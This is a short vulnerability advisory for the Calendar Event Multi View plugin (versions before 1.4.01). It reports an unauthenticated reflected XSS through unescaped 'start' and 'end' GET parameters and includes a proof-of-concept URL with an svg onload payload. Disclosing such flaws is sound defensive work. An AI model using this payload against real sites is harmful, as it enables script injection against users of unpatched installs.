Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

The plugin does not sanitise or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

PoC

https://www.example.com/?cpmvc_id=1&amp;cpmvc;_do_action=mvparse&amp;f;=edit&amp;month;_index=0&amp;delete;=1&amp;palette;=0&amp;paletteDefault;=F00&amp;calid;=1&amp;id;=999&amp;start;=a"><svg/><" &end;=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22